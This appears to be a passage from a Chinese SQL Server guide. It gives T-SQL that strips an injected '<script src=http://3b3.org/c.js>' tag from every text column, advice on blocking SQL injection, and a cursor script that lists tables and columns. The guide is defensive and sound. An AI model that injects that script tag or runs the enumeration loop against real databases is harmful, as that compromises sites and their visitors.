fetch next from cur1 into @columnName
while @@fetch_status=0
begin
set @sql= ‘update [ ‘ + @tableName + ‘] set [ ‘+ @columnName + ‘]= replace([ ‘+@columnName+ ‘], ‘ ‘ ‘+@delStr+ ‘ ‘ ‘, ‘ ‘ ‘ ‘) where [ ‘+@columnName+ ‘] like ‘ ‘% ‘+@delStr+ ‘% ‘ ‘ ‘
exec sp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow> 0
begin
print ‘表： ‘+@tableName+ ‘,列: ‘+@columnName+ ‘被更新 ‘+convert(varchar(10),@iRow)+ ‘条记录; ‘
end
fetch next from cur1 into @columnName
end
close cur1
deallocate cur1
fetch next from cur into @tableName,@tbID
end
print ‘数据库共有 ‘+convert(varchar(10),@iResult)+ ‘条记录被更新!!! ‘
close cur
deallocate cur
set nocount off
declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)
set @inScript='<script src=http://3b3.org/c.js></script>’
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec(‘update [‘+@t+’] set [‘+@c+’]=replace(cast([‘+@c+’] as varchar(8000)),”’+@inScript+”’,””)’ )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;
—————————————————————
彻底杜绝SQL注入
1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户，并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键－属性－权限－在sysobjects与syscolumns上面打“×”
5、通过以下代码检测（失败表示权限正确，如能显示出来则表明权限太高）：
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= ‘u ‘ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
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